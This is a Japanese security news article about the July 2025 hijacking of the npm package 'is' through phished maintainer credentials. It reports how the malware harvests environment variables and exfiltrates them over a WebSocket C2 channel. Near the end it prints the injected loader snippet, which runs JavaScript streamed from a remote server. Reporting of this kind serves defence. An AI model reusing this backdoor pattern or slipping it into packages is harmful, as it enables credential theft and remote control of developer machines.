npm の “is” パッケージ侵害:280 万回/週のペースで DL されるユーティリティが武器化された

npm ‘is’ Package With 2.8M Weekly Downloads Weaponized to Attack Developers

2025/07/29 CyberSecurityNews — npm を標的とするフィッシング攻撃の波は、280 万回/週のペースでプルされるユーティリティ “is” の乗っ取りにより、深刻度を増している。2025年7月19日に攻撃者は、盗み出したメンテナーの認証情報を用いて、悪意の “is” バージョン 3.3.1/5.0.0 をレジストリに登録した。それにより、通常の依存関係解決を通じて、バックドアがシームレスに拡散されていった。

この攻撃者は、eslint-config-prettier/got-fetch などの人気パッケージにも改竄を加えた。このような展開を思い出させるのは、JavaScript 開発者を標的とした、SolarWinds への組織的サプライチェーン攻撃の事例である。

プロジェクト内に入ると、改竄された “is” リリースが、 macOS/Linux/Windows において即座に実行されるが、汚染された eslint-config-prettier に埋め込まれる Windows 専用 DLL とは別のものである。

Socket.dev のアナリストが特定したのは、メモリ内でペイロードを再構築し、人間が判読できるアーティファクトをディスク上に残さない、高度に難読化された JavaScript ローダである。

同社のテレメトリによると、このマルウェアは、ホスト名/OS 詳細/CPU 情報/process.env 内の全変数を収集し、その情報を WebSocket C2 エンドポイントへとトンネリングする。

Heavily‑obfuscated JavaScript loader (Source – Socket.dev)

上記の画像は、転送中のビーコンをキャプチャしたものであり、その影響はすでに顕在化している。ある開発者が報告しているのは、このインフォスティーラーは、”.npmrc” および “.gitconfig” を改ざんした後に、Chrome のセキュリティ・フラグを立て、SSD を強制交換し、認証情報を全面的にローテーションすることだ。

このマルウェアは、自身の “index.js” を上書きするため、単純な npm uninstall コマンドでは脅威を排除できない。つまり、ロック・ファイルを削除した後に、クリーンなソースから環境を再構築する必要がある。

感染メカニズム

この攻撃のコアは、パッケージのエントリポイントの先頭に挿入された、単純であり強力なコード・スニペットにある。

このコードは、偽装されたゲッターを通じて Node.js の内部 require を公開し、続いて ws ライブラリを動的にインポートし、暗号化された WebSocket を開き、ホストのフィンガープリントを取得した後に、C2 からストリーミングされた JavaScript を実行する。この攻撃チェーンにより、攻撃者は対話型シェルの利用を可能にする。

get "switch"() { return require; }          // bypass restricted contexts
const os = this.switch("os");
const WS = this.switch("ws");
const sock = new WS("wss://");
sock.onopen = () => sock.send(JSON.stringify({
  host: os.hostname(), plat: os.platform(), cwd: process.cwd()
}));
sock.onmessage = ({data}) => { new Function(data)(); }; // RCE

この、メモリ内における侵害チェーンは、静的解析エンジンを回避し、自身を書き換えることで永続化を図る。それにより、侵害されたパッケージがインストールされると、時限爆弾のように長期間にわたり残存することになる。